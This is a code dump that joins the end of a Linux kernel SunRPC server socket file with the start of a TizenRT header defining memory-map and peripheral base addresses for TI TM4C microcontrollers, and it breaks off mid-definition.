printk(KERN_WARNING "svc: only UDP and TCP " "sockets supported\n"); return ERR_PTR(-EINVAL); } type = (protocol == IPPROTO_UDP)? SOCK_DGRAM : SOCK_STREAM; switch (sin->sa_family) { case AF_INET6: family = PF_INET6; break; case AF_INET: family = PF_INET; break; default: return ERR_PTR(-EINVAL); } error = __sock_create(net, family, type, protocol, &sock, 1); if (error < 0) return ERR_PTR(error); svc_reclassify_socket(sock); /* * If this is an PF_INET6 listener, we want to avoid * getting requests from IPv4 remotes. Those should * be shunted to a PF_INET listener via rpcbind. */ val = 1; if (family == PF_INET6) kernel_setsockopt(sock, SOL_IPV6, IPV6_V6ONLY, (char *)&val, sizeof(val)); if (type == SOCK_STREAM) sock->sk->sk_reuse = 1; /* allow address reuse */ error = kernel_bind(sock, sin, len); if (error < 0) goto bummer; newlen = len; error = kernel_getsockname(sock, newsin, &newlen); if (error < 0) goto bummer; if (protocol == IPPROTO_TCP) { if ((error = kernel_listen(sock, 64)) < 0) goto bummer; } if ((svsk = svc_setup_socket(serv, sock, &error, flags)) != NULL) { svc_xprt_set_local(&svsk->sk_xprt, newsin, newlen); return (struct svc_xprt *)svsk; } bummer: dprintk("svc: svc_create_socket error = %d\n", -error); sock_release(sock); return ERR_PTR(error); } /* * Detach the svc_sock from the socket so that no * more callbacks occur. */ static void svc_sock_detach(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); struct sock *sk = svsk->sk_sk; wait_queue_head_t *wq; dprintk("svc: svc_sock_detach(%p)\n", svsk); /* put back the old socket callbacks */ sk->sk_state_change = svsk->sk_ostate; sk->sk_data_ready = svsk->sk_odata; sk->sk_write_space = svsk->sk_owspace; wq = sk_sleep(sk); if (wq && waitqueue_active(wq)) wake_up_interruptible(wq); } /* * Disconnect the socket, and reset the callbacks */ static void svc_tcp_sock_detach(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); dprintk("svc: svc_tcp_sock_detach(%p)\n", svsk); svc_sock_detach(xprt); if (!test_bit(XPT_LISTENER, &xprt->xpt_flags)) { svc_tcp_clear_pages(svsk); kernel_sock_shutdown(svsk->sk_sock, SHUT_RDWR); } } /* * Free the svc_sock's socket resources and the svc_sock itself. */ static void svc_sock_free(struct svc_xprt *xprt) { struct svc_sock *svsk = container_of(xprt, struct svc_sock, sk_xprt); dprintk("svc: svc_sock_free(%p)\n", svsk); if (svsk->sk_sock->file) sockfd_put(svsk->sk_sock); else sock_release(svsk->sk_sock); kfree(svsk); } #if defined(CONFIG_SUNRPC_BACKCHANNEL) /* * Create a back channel svc_xprt which shares the fore channel socket. */ static struct svc_xprt *svc_bc_create_socket(struct svc_serv *serv, int protocol, struct net *net, struct sockaddr *sin, int len, int flags) { struct svc_sock *svsk; struct svc_xprt *xprt; if (protocol != IPPROTO_TCP) { printk(KERN_WARNING "svc: only TCP sockets" " supported on shared back channel\n"); return ERR_PTR(-EINVAL); } svsk = kzalloc(sizeof(*svsk), GFP_KERNEL); if (!svsk) return ERR_PTR(-ENOMEM); xprt = &svsk->sk_xprt; svc_xprt_init(&svc_tcp_bc_class, xprt, serv); serv->sv_bc_xprt = xprt; return xprt; } /* * Free a back channel svc_sock. */ static void svc_bc_sock_free(struct svc_xprt *xprt) { if (xprt) kfree(container_of(xprt, struct svc_sock, sk_xprt)); } #endif /* CONFIG_SUNRPC_BACKCHANNEL */
apache-2.0
jsdosa/TizenRT
os/arch/arm/src/tiva/chip/tm4c_memorymap.h
40424
/**************************************************************************** * * Copyright 2017 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, * either express or implied. See the License for the specific * language governing permissions and limitations under the License. * ****************************************************************************/ /************************************************************************************ * arch/arm/src/tiva/chip/tm4c_memorymap.h * * Copyright (C) 2014 Gregory Nutt. All rights reserved. * Authors: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ************************************************************************************/ #ifndef __ARCH_ARM_SRC_TIVA_CHIP_TM4C_MEMORYMAP_H #define __ARCH_ARM_SRC_TIVA_CHIP_TM4C_MEMORYMAP_H /************************************************************************************ * Included Files ************************************************************************************/ #include <tinyara/config.h> /************************************************************************************ * Pre-processor Definitions ************************************************************************************/ /* Memory map ***********************************************************************/ #if defined(CONFIG_ARCH_CHIP_TM4C123GH6ZRB) #define TIVA_FLASH_BASE 0x00000000 /* -0x0003ffff: On-chip FLASH */ /* -0x00ffffff: Reserved */ #define TIVA_ROM_BASE 0x01000000 /* -0x1fffffff: Reserved for ROM */ #define TIVA_SRAM_BASE 0x20000000 /* -0x20007fff: Bit-banded on-chip SRAM */ /* -0x21ffffff: Reserved */ #define TIVA_ASRAM_BASE 0x22000000 /* -0x220fffff: Bit-band alias of 20000000- */ /* -0x3fffffff: Reserved */ #define TIVA_PERIPH_BASE 0x40000000 /* -0x4001ffff: FiRM Peripherals */ /* -0x41ffffff: Peripherals */ #define TIVA_APERIPH_BASE 0x42000000 /* -0x43ffffff: Bit-band alias of 40000000- */ /* -0xdfffffff: Reserved */ #define TIVA_ITM_BASE 0xe0000000 /* -0xe0000fff: Instrumentation Trace Macrocell */ #define TIVA_DWT_BASE 0xe0001000 /* -0xe0001fff: Data Watchpoint and Trace */ #define TIVA_FPB_BASE 0xe0002000 /* -0xe0002fff: Flash Patch and Breakpoint */ /* -0xe000dfff: Reserved */ #define TIVA_NVIC_BASE 0xe000e000 /* -0xe000efff: Nested Vectored Interrupt Controller */ /* -0xe003ffff: Reserved */ #define TIVA_TPIU_BASE 0xe0040000 /* -0xe0040fff: Trace Port Interface Unit */ #define TIVA_ETM_BASE 0xe0041000 /* -0xe0041fff: Embedded Trace Macrocell */ /* -0xffffffff: Reserved */ #elif defined(CONFIG_ARCH_CHIP_TM4C123GH6PMI) #define TIVA_FLASH_BASE 0x00000000 /* -0x0003ffff: On-chip FLASH */ /* -0x00ffffff: Reserved */ #define TIVA_ROM_BASE 0x01000000 /* -0x1fffffff: Reserved for ROM */ #define TIVA_SRAM_BASE 0x20000000 /* -0x20007fff: Bit-banded on-chip SRAM */ /* -0x21ffffff: Reserved */ #define TIVA_ASRAM_BASE 0x22000000 /* -0x220fffff: Bit-band alias of 20000000- */ /* -0x3fffffff: Reserved */ #define TIVA_PERIPH_BASE 0x40000000 /* -0x4001ffff: FiRM Peripherals */ /* -0x41ffffff: Peripherals */ #define TIVA_APERIPH_BASE 0x42000000 /* -0x43ffffff: Bit-band alias of 40000000- */ /* -0xdfffffff: Reserved */ #define TIVA_ITM_BASE 0xe0000000 /* -0xe0000fff: Instrumentation Trace Macrocell */ #define TIVA_DWT_BASE 0xe0001000 /* -0xe0001fff: Data Watchpoint and Trace */ #define TIVA_FPB_BASE 0xe0002000 /* -0xe0002fff: Flash Patch and Breakpoint */ /* -0xe000dfff: Reserved */ #define TIVA_NVIC_BASE 0xe000e000 /* -0xe000efff: Nested Vectored Interrupt Controller */ /* -0xe003ffff: Reserved */ #define TIVA_TPIU_BASE 0xe0040000 /* -0xe0040fff: Trace Port Interface Unit */ #define TIVA_ETM_BASE 0xe0041000 /* -0xe0041fff: Embedded Trace Macrocell */ /* -0xffffffff: Reserved */ #elif defined(CONFIG_ARCH_CHIP_TM4C129XNC) || defined(CONFIG_ARCH_CHIP_TM4C1294NC) #define TIVA_FLASH_BASE 0x00000000 /* -0x000fffff: On-chip FLASH */ /* -0x01ffffff: Reserved */ #define TIVA_ROM_BASE 0x02000000 /* -0x02ffffff: On-chip ROM (16 MB) */ /* -0x1fffgfff: Reserved */ #define TIVA_SRAM_BASE 0x20000000 /* -0x2006ffff: Bit-banded on-chip SRAM */ /* -0x21ffffff: Reserved */ #define TIVA_ASRAM_BASE 0x22000000 /* -0x2234ffff: Bit-band alias of 20000000- */ /* -0x3fffffff: Reserved */ #define TIVA_PERIPH1_BASE 0x40000000 /* -0x4001ffff: FiRM Peripherals */ /* -0x41ffffff: Peripherals */ #define TIVA_APERIPH_BASE 0x42000000 /* -0x43ffffff: Bit-band alias of 40000000-400fffff */ #define TIVA_PERIPH2_BASE 0x44000000 /* -0x4001ffff: More Peripherals */ /* -0x5fffffff: Reserved */ #define TIVA_EPIRAM_BASE 0x60000000 /* -0xdfffffff: EPI0 mapped peripheral and RAM */ #define TIVA_ITM_BASE 0xe0000000 /* -0xe0000fff: Instrumentation Trace Macrocell */ #define TIVA_DWT_BASE 0xe0001000 /* -0xe0001fff: Data Watchpoint and Trace */ #define TIVA_FPB_BASE 0xe0002000 /* -0xe0002fff: Flash Patch and Breakpoint */ /* -0xe000dfff: Reserved */ #define TIVA_NVIC_BASE 0xe000e000 /* -0xe000efff: Nested Vectored Interrupt Controller */ /* -0xe003ffff: Reserved */ #define TIVA_TPIU_BASE 0xe0040000 /* -0xe0040fff: Trace Port Interface Unit */ #define TIVA_ETM_BASE 0xe0041000 /* -0xe0041fff: Embedded Trace Macrocell */ /* -0xffffffff: Reserved */ #else #error "Memory map not specified for this TM4C chip" #endif /* Peripheral base addresses ********************************************************/ #if defined(CONFIG_ARCH_CHIP_TM4C123GH6ZRB) /* Peripheral Base Addresses */ #define TIVA_WDOG0_BASE (TIVA_PERIPH_BASE + 0x00000) /* -0x00fff: Watchdog Timer 0 */ #define TIVA_WDOG1_BASE (TIVA_PERIPH_BASE + 0x01000) /* -0x00fff: Watchdog Timer 1 */ /* -0x03fff: Reserved */ #define TIVA_GPIOA_BASE (TIVA_PERIPH_BASE + 0x04000) /* -0x04fff: GPIO Port A */ #define TIVA_GPIOB_BASE (TIVA_PERIPH_BASE + 0x05000) /* -0x05fff: GPIO Port B */ #define TIVA_GPIOC_BASE (TIVA_PERIPH_BASE + 0x06000) /* -0x06fff: GPIO Port C */ #define TIVA_GPIOD_BASE (TIVA_PERIPH_BASE + 0x07000) /* -0x07fff: GPIO Port D */ #define TIVA_SSI0_BASE (TIVA_PERIPH_BASE + 0x08000) /* -0x08fff: SSI0 */ #define TIVA_SSI1_BASE (TIVA_PERIPH_BASE + 0x09000) /* -0x09fff: SSI1 */ #define TIVA_SSI2_BASE (TIVA_PERIPH_BASE + 0x0a000) /* -0x0afff: SSI2 */ #define TIVA_SSI3_BASE (TIVA_PERIPH_BASE + 0x0b000) /* -0x0bfff: SSI3 */ #define TIVA_UART0_BASE (TIVA_PERIPH_BASE + 0x0c000) /* -0x0cfff: UART0 */ #define TIVA_UART1_BASE (TIVA_PERIPH_BASE + 0x0d000) /* -0x0dfff: UART1 */ #define TIVA_UART2_BASE (TIVA_PERIPH_BASE + 0x0e000) /* -0x0efff: UART2 */ #define TIVA_UART3_BASE (TIVA_PERIPH_BASE + 0x0f000) /* -0x0ffff: UART3 */ #define TIVA_UART4_BASE (TIVA_PERIPH_BASE + 0x10000) /* -0x10fff: UART4 */ #define TIVA_UART5_BASE (TIVA_PERIPH_BASE + 0x11000) /* -0x11fff: UART5 */ #define TIVA_UART6_BASE (TIVA_PERIPH_BASE + 0x12000) /* -0x12fff: UART6 */ #define TIVA_UART7_BASE (TIVA_PERIPH_BASE + 0x13000) /* -0x13fff: UART7 */ /* -0x1ffff: Reserved */ #define TIVA_I2C0_BASE (TIVA_PERIPH_BASE + 0x20000) /* -0x20fff: I2C0 */ #define TIVA_I2C1_BASE (TIVA_PERIPH_BASE + 0x21000) /* -0x21fff: I2C1 */ #define TIVA_I2C2_BASE (TIVA_PERIPH_BASE + 0x22000) /* -0x22fff: I2C2 */ #define TIVA_I2C3_BASE (TIVA_PERIPH_BASE + 0x23000) /* -0x23fff: I2C3 */ #define TIVA_GPIOE_BASE (TIVA_PERIPH_BASE + 0x24000) /* -0x24fff: GPIO Port E */ #define TIVA_GPIOF_BASE (TIVA_PERIPH_BASE + 0x25000) /* -0x25fff: GPIO Port F */ #define TIVA_GPIOG_BASE (TIVA_PERIPH_BASE + 0x26000) /* -0x26fff: GPIO Port G */ #define TIVA_GPIOH_BASE (TIVA_PERIPH_BASE + 0x27000) /* -0x27fff: GPIO Port H */ #define TIVA_PWM0_BASE (TIVA_PERIPH_BASE + 0x28000) /* -0x28fff: PWM 0 */ #define TIVA_PWM1_BASE (TIVA_PERIPH_BASE + 0x29000) /* -0x29fff: PWM 1 */ /* -0x2ffff: Reserved */ #define TIVA_TIMER0_BASE (TIVA_PERIPH_BASE + 0x30000) /* -0x30fff: 16/32 Timer 0 */ #define TIVA_TIMER1_BASE (TIVA_PERIPH_BASE + 0x31000) /* -0x31fff: 16/32 Timer 1 */ #define TIVA_TIMER2_BASE (TIVA_PERIPH_BASE + 0x32000) /* -0x32fff: 16/32 Timer 2 */ #define TIVA_TIMER3_BASE (TIVA_PERIPH_BASE + 0x33000) /* -0x33fff: 16/32 Timer 3 */ #define TIVA_TIMER4_BASE (TIVA_PERIPH_BASE + 0x34000) /* -0x34fff: 16/32 Timer 4 */ #define TIVA_TIMER5_BASE (TIVA_PERIPH_BASE + 0x35000) /* -0x35fff: 16/32 Timer 5 */ #define TIVA_WTIMER0_BASE (TIVA_PERIPH_BASE + 0x36000) /* -0x36fff: 32/64 Wide Timer 0 */ #define TIVA_WTIMER1_BASE (TIVA_PERIPH_BASE + 0x37000) /* -0x37fff: 32/64 Wide Timer 1 */ #define TIVA_ADC0_BASE (TIVA_PERIPH_BASE + 0x38000) /* -0x38fff: ADC 0 */ #define TIVA_ADC1_BASE (TIVA_PERIPH_BASE + 0x39000) /* -0x39fff: ADC 1 */ /* -0x3bfff: Reserved */ #define TIVA_CMP_BASE (TIVA_PERIPH_BASE + 0x3c000) /* -0x3cfff: Analog Comparators */ #define TIVA_GPIOJ_BASE (TIVA_PERIPH_BASE + 0x3d000) /* -0x3dfff: GPIO Port J */ /* -0x3ffff: Reserved */ #define TIVA_CAN0_BASE (TIVA_PERIPH_BASE + 0x40000) /* -0x40fff: CAN Controller 0 */ #define TIVA_CAN1_BASE (TIVA_PERIPH_BASE + 0x41000) /* -0x41fff: CAN Controller 1 */ /* -0x4bfff: Reserved */ #define TIVA_WTIMER2_BASE (TIVA_PERIPH_BASE + 0x4c000) /* -0x4cfff: 32/64 Wide Timer 2 */ #define TIVA_WTIMER3_BASE (TIVA_PERIPH_BASE + 0x4d000) /* -0x4dfff: 32/64 Wide Timer 3 */ #define TIVA_WTIMER4_BASE (TIVA_PERIPH_BASE + 0x4e000) /* -0x4efff: 32/64 Wide Timer 4 */ #define TIVA_WTIMER5_BASE (TIVA_PERIPH_BASE + 0x4f000) /* -0x4ffff: 32/64 Wide Timer 5 */ #define TIVA_USB_BASE (TIVA_PERIPH_BASE + 0x50000) /* -0x50fff: USB */ /* -0x57fff: Reserved */ #define TIVA_GPIOAAHB_BASE (TIVA_PERIPH_BASE + 0x58000) /* -0x58fff: GPIO Port A (AHB aperture) */ #define TIVA_GPIOBAHB_BASE (TIVA_PERIPH_BASE + 0x59000) /* -0x59fff: GPIO Port B (AHB aperture) */ #define TIVA_GPIOCAHB_BASE (TIVA_PERIPH_BASE + 0x5a000) /* -0x5afff: GPIO Port C (AHB aperture) */ #define TIVA_GPIODAHB_BASE (TIVA_PERIPH_BASE + 0x5b000) /* -0x5bfff: GPIO Port D (AHB aperture) */ #define TIVA_GPIOEAHB_BASE (TIVA_PERIPH_BASE + 0x5c000) /* -0x5cfff: GPIO Port E (AHB aperture) */ #define TIVA_GPIOFAHB_BASE (TIVA_PERIPH_BASE + 0x5d000) /* -0x5dfff: GPIO Port F (AHB aperture) */ #define TIVA_GPIOGAHB_BASE (TIVA_PERIPH_BASE + 0x5e000) /* -0x5efff: GPIO Port G (AHB aperture) */ #define TIVA_GPIOHAHB_BASE (TIVA_PERIPH_BASE + 0x5f000) /* -0x5ffff: GPIO Port H (AHB aperture) */ #define TIVA_GPIOJAHB_BASE (TIVA_PERIPH_BASE + 0x60000) /* -0x60fff: GPIO Port J (AHB aperture) */ #define TIVA_GPIOKAHB_BASE (TIVA_PERIPH_BASE + 0x61000) /* -0x61fff: GPIO Port K (AHB aperture) */ #define TIVA_GPIOLAHB_BASE (TIVA_PERIPH_BASE + 0x62000) /* -0x62fff: GPIO Port L (AHB aperture) */ #define TIVA_GPIOMAHB_BASE (TIVA_PERIPH_BASE + 0x63000) /* -0x63fff: GPIO Port M (AHB aperture) */ #define TIVA_GPIONAHB_BASE (TIVA_PERIPH_BASE + 0x64000) /* -0x64fff: GPIO Port N (AHB aperture) */ #define TIVA_GPIOPAHB_BASE (TIVA_PERIPH_BASE + 0x65000) /* -0x65fff: GPIO Port P (AHB aperture) */ #define TIVA_GPIOQAHB_BASE (TIVA_PERIPH_BASE + 0x66000) /* -0x66fff: GPIO Port Q (AHB aperture) */ /* -0xaefff: Reserved */ #define TIVA_EEPROM_BASE (TIVA_PERIPH_BASE + 0xaf000) /* -0xaffff: EEPROM and Key Locker */ /* -0xbffff: Reserved */ #define TIVA_I2C4_BASE (TIVA_PERIPH_BASE + 0xc0000) /* -0x20fff: I2C4 */ #define TIVA_I2C5_BASE (TIVA_PERIPH_BASE + 0xc1000) /* -0x21fff: I2C5 */ /* -0xf8fff: Reserved */ #define TIVA_SYSEXC_BASE (TIVA_PERIPH_BASE + 0xf9000) /* -0xf9fff: System Exception Control */ /* -0xfbfff: Reserved */ #define TIVA_HIBERNATE_BASE (TIVA_PERIPH_BASE + 0xfc000) /* -0xfcfff: Hibernation Controller */ #define TIVA_FLASHCON_BASE (TIVA_PERIPH_BASE + 0xfd000) /* -0xfdfff: FLASH Control */ #define TIVA_SYSCON_BASE (TIVA_PERIPH_BASE + 0xfe000) /* -0xfefff: System Control */ #define TIVA_UDMA_BASE (TIVA_PERIPH_BASE + 0xff000) /* -0xfffff: Micro Direct Memory Access */ #elif defined(CONFIG_ARCH_CHIP_TM4C123GH6PMI) /* Peripheral Base Addresses */ #define TIVA_WDOG0_BASE (TIVA_PERIPH_BASE + 0x00000) /* -0x00fff: Watchdog Timer 0 */ #define TIVA_WDOG1_BASE (TIVA_PERIPH_BASE + 0x01000) /* -0x00fff: Watchdog Timer 1 */ /* -0x03fff: Reserved */ #define TIVA_GPIOA_BASE (TIVA_PERIPH_BASE + 0x04000) /* -0x04fff: GPIO Port A */ #define TIVA_GPIOB_BASE (TIVA_PERIPH_BASE + 0x05000) /* -0x05fff: GPIO Port B */ #define TIVA_GPIOC_BASE (TIVA_PERIPH_BASE + 0x06000) /* -0x06fff: GPIO Port C */ #define TIVA_GPIOD_BASE (TIVA_PERIPH_BASE + 0x07000) /* -0x07fff: GPIO Port D */ #define TIVA_SSI0_BASE (TIVA_PERIPH_BASE + 0x08000) /* -0x08fff: SSI0 */ #define TIVA_SSI1_BASE (TIVA_PERIPH_BASE + 0x09000) /* -0x09fff: SSI1 */ #define TIVA_SSI2_BASE (TIVA_PERIPH_BASE + 0x0a000) /* -0x0afff: SSI2 */ #define TIVA_SSI3_BASE (TIVA_PERIPH_BASE + 0x0b000) /* -0x0bfff: SSI3 */ #define TIVA_UART0_BASE (TIVA_PERIPH_BASE + 0x0c000) /* -0x0cfff: UART0 */ #define TIVA_UART1_BASE (TIVA_PERIPH_BASE + 0x0d000) /* -0x0dfff: UART1 */ #define TIVA_UART2_BASE (TIVA_PERIPH_BASE + 0x0e000) /* -0x0efff: UART2 */ #define TIVA_UART3_BASE (TIVA_PERIPH_BASE + 0x0f000) /* -0x0ffff: UART3 */ #define TIVA_UART4_BASE (TIVA_PERIPH_BASE + 0x10000) /* -0x10fff: UART4 */ #define TIVA_UART5_BASE (TIVA_PERIPH_BASE + 0x11000) /* -0x11fff: UART5 */ #define TIVA_UART6_BASE (TIVA_PERIPH_BASE + 0x12000) /* -0x12fff: UART6 */ #define TIVA_UART7_BASE (TIVA_PERIPH_BASE + 0x13000) /* -0x13fff: UART7 */ /* -0x1ffff: Reserved */ #define TIVA_I2C0_BASE (TIVA_PERIPH_BASE + 0x20000) /* -0x20fff: I2C0 */ #define TIVA_I2C1_BASE (TIVA_PERIPH_BASE + 0x21000) /* -0x21fff: I2C1 */ #define TIVA_I2C2_BASE (TIVA_PERIPH_BASE + 0x22000) /* -0x22fff: I2C2 */ #define TIVA_I2C3_BASE (TIVA_PERIPH_BASE + 0x23000) /* -0x23fff: I2C3 */ #define TIVA_GPIOE_BASE (TIVA_PERIPH_BASE + 0x24000) /* -0x24fff: GPIO Port E */ #define TIVA_GPIOF_BASE (TIVA_PERIPH_BASE + 0x25000) /* -0x25fff: GPIO Port F */ #define TIVA_PWM0_BASE (TIVA_PERIPH_BASE + 0x28000) /* -0x28fff: PWM 0 */ #define TIVA_PWM1_BASE (TIVA_PERIPH_BASE + 0x29000) /* -0x29fff: PWM 1 */ /* -0x2ffff: Reserved */ #define TIVA_TIMER0_BASE (TIVA_PERIPH_BASE + 0x30000) /* -0x30fff: 16/32 Timer 0 */ #define TIVA_TIMER1_BASE (TIVA_PERIPH_BASE + 0x31000) /* -0x31fff: 16/32 Timer 1 */ #define TIVA_TIMER2_BASE (TIVA_PERIPH_BASE + 0x32000) /* -0x32fff: 16/32 Timer 2 */ #define TIVA_TIMER3_BASE (TIVA_PERIPH_BASE + 0x33000) /* -0x33fff: 16/32 Timer 3 */ #define TIVA_TIMER4_BASE (TIVA_PERIPH_BASE + 0x34000) /* -0x34fff: 16/32 Timer 4 */ #define TIVA_TIMER5_BASE (TIVA_PERIPH_BASE + 0x35000) /* -0x35fff: 16/32 Timer 5 */ #define TIVA_WTIMER0_BASE (TIVA_PERIPH_BASE + 0x36000) /* -0x36fff: 32/64 Wide Timer 0 */ #define TIVA_WTIMER1_BASE (TIVA_PERIPH_BASE + 0x37000) /* -0x37fff: 32/64 Wide Timer 1 */ #define TIVA_ADC0_BASE (TIVA_PERIPH_BASE + 0x38000) /* -0x38fff: ADC 0 */ #define TIVA_ADC1_BASE (TIVA_PERIPH_BASE + 0x39000) /* -0x39fff: ADC 1 */ /* -0x3bfff: Reserved */ #define TIVA_CMP_BASE (TIVA_PERIPH_BASE + 0x3c000) /* -0x3cfff: Analog Comparators */ /* -0x3ffff: Reserved */ #define TIVA_CAN0_BASE (TIVA_PERIPH_BASE + 0x40000) /* -0x40fff: CAN Controller 0 */ #define TIVA_CAN1_BASE (TIVA_PERIPH_BASE + 0x41000) /* -0x41fff: CAN Controller 1 */ /* -0x4bfff: Reserved */ #define TIVA_WTIMER2_BASE (TIVA_PERIPH_BASE + 0x4c000) /* -0x4cfff: 32/64 Wide Timer 2 */ #define TIVA_WTIMER3_BASE (TIVA_PERIPH_BASE + 0x4d000) /* -0x4dfff: 32/64 Wide Timer 3 */ #define TIVA_WTIMER4_BASE (TIVA_PERIPH_BASE + 0x4e000) /* -0x4efff: 32/64 Wide Timer 4 */ #define TIVA_WTIMER5_BASE (TIVA_PERIPH_BASE + 0x4f000) /* -0x4ffff: 32/64 Wide Timer 5 */ #define TIVA_USB_BASE (TIVA_PERIPH_BASE + 0x50000) /* -0x50fff: USB */ /* -0x57fff: Reserved */ #define TIVA_GPIOAAHB_BASE (TIVA_PERIPH_BASE + 0x58000) /* -0x58fff: GPIO Port A (AHB aperture) */ #define TIVA_GPIOBAHB_BASE (TIVA_PERIPH_BASE + 0x59000) /* -0x59fff: GPIO Port B (AHB aperture) */ #define TIVA_GPIOCAHB_BASE (TIVA_PERIPH_BASE + 0x5a000) /* -0x5afff: GPIO Port C (AHB aperture) */ #define TIVA_GPIODAHB_BASE (TIVA_PERIPH_BASE + 0x5b000) /* -0x5bfff: GPIO Port D (AHB aperture) */ #define TIVA_GPIOEAHB_BASE (TIVA_PERIPH_BASE + 0x5c000) /* -0x5cfff: GPIO Port E (AHB aperture) */ #define TIVA_GPIOFAHB_BASE (TIVA_PERIPH_BASE + 0x5d000) /* -0x5dfff: GPIO Port F (AHB aperture) */ /* -0xaefff: Reserved */ #define TIVA_EEPROM_BASE (TIVA_PERIPH_BASE + 0xaf000) /* -0xaffff: EEPROM and Key Locker */ /* -0xf8fff: Reserved */ #define TIVA_SYSEXC_BASE (TIVA_PERIPH_BASE + 0xf9000) /* -0xf9fff: System Exception Control */ /* -0xfbfff: Reserved */ #define TIVA_HIBERNATE_BASE (TIVA_PERIPH_BASE + 0xfc000) /* -0xfcfff: Hibernation Controller */ #define TIVA_FLASHCON_BASE (TIVA_PERIPH_BASE + 0xfd000) /* -0xfdfff: FLASH Control */ #define TIVA_SYSCON_BASE (TIVA_PERIPH_BASE + 0xfe000) /* -0xfefff: System Control */ #define TIVA_UDMA_BASE (TIVA_PERIPH_BASE + 0xff000) /* -0xfffff: Micro Direct Memory Access */ #elif defined(CONFIG_ARCH_CHIP_TM4C123GH6PM) /* Peripheral Base Addresses */ #define TIVA_WDOG0_BASE (TIVA_PERIPH_BASE + 0x00000) /* -0x00fff: Watchdog Timer 0 */ #define TIVA_WDOG1_BASE (TIVA_PERIPH_BASE + 0x01000) /* -0x00fff: Watchdog Timer 1 */ /* -0x03fff: Reserved */ #define TIVA_GPIOA_BASE (TIVA_PERIPH_BASE + 0x04000) /* -0x04fff: GPIO Port A */ #define TIVA_GPIOB_BASE (TIVA_PERIPH_BASE + 0x05000) /* -0x05fff: GPIO Port B */ #define TIVA_GPIOC_BASE (TIVA_PERIPH_BASE + 0x06000) /* -0x06fff: GPIO Port C */ #define TIVA_GPIOD_BASE (TIVA_PERIPH_BASE + 0x07000) /* -0x07fff: GPIO Port D */ #define TIVA_SSI0_BASE (TIVA_PERIPH_BASE + 0x08000) /* -0x08fff: SSI0 */ #define TIVA_SSI1_BASE (TIVA_PERIPH_BASE + 0x09000) /* -0x09fff: SSI1 */ #define TIVA_SSI2_BASE (TIVA_PERIPH_BASE + 0x0a000) /* -0x0afff: SSI2 */ #define TIVA_SSI3_BASE (TIVA_PERIPH_BASE + 0x0b000) /* -0x0bfff: SSI3 */ #define TIVA_UART0_BASE (TIVA_PERIPH_BASE + 0x0c000) /* -0x0cfff: UART0 */ #define TIVA_UART1_BASE (TIVA_PERIPH_BASE + 0x0d000) /* -0x0dfff: UART1 */ #define TIVA_UART2_BASE (TIVA_PERIPH_BASE + 0x0e000) /* -0x0efff: UART2 */ #define TIVA_UART3_BASE (TIVA_PERIPH_BASE + 0x0f000) /* -0x0ffff: UART3 */ #define TIVA_UART4_BASE (TIVA_PERIPH_BASE + 0x10000) /* -0x10fff: UART4 */ #define TIVA_UART5_BASE (TIVA_PERIPH_BASE + 0x11000) /* -0x11fff: UART5 */ #define TIVA_UART6_BASE (TIVA_PERIPH_BASE + 0x12000) /* -0x12fff: UART6 */ #define TIVA_UART7_BASE (TIVA_PERIPH_BASE + 0x13000) /* -0x13fff: UART7 */ /* -0x1ffff: Reserved */ #define TIVA_I2C0_BASE (TIVA_PERIPH_BASE + 0x20000) /* -0x20fff: I2C0 */ #define TIVA_I2C1_BASE (TIVA_PERIPH_BASE + 0x21000) /* -0x21fff: I2C1 */ #define TIVA_I2C2_BASE (TIVA_PERIPH_BASE + 0x22000) /* -0x22fff: I2C2 */ #define TIVA_I2C3_BASE (TIVA_PERIPH_BASE + 0x23000) /* -0x23fff: I2C3 */ #define TIVA_GPIOE_BASE (TIVA_PERIPH_BASE + 0x24000) /* -0x24fff: GPIO Port E */ #define TIVA_GPIOF_BASE (TIVA_PERIPH_BASE + 0x25000) /* -0x25fff: GPIO Port F */ #define TIVA_PWM0_BASE (TIVA_PERIPH_BASE + 0x28000) /* -0x28fff: PWM 0 */ #define TIVA_PWM1_BASE (TIVA_PERIPH_BASE + 0x29000) /* -0x29fff: PWM 1 */ /* -0x2ffff: Reserved */ #define TIVA_TIMER0_BASE (TIVA_PERIPH_BASE + 0x30000) /* -0x30fff: 16/32 Timer 0 */ #define TIVA_TIMER1_BASE (TIVA_PERIPH_BASE + 0x31000) /* -0x31fff: 16/32 Timer 1 */ #define TIVA_TIMER2_BASE (TIVA_PERIPH_BASE + 0x32000) /* -0x32fff: 16/32 Timer 2 */ #define TIVA_TIMER3_BASE (TIVA_PERIPH_BASE + 0x33000) /* -0x33fff: 16/32 Timer 3 */ #define TIVA_TIMER4_BASE (TIVA_PERIPH_BASE + 0x34000) /* -0x34fff: 16/32 Timer 4 */ #define 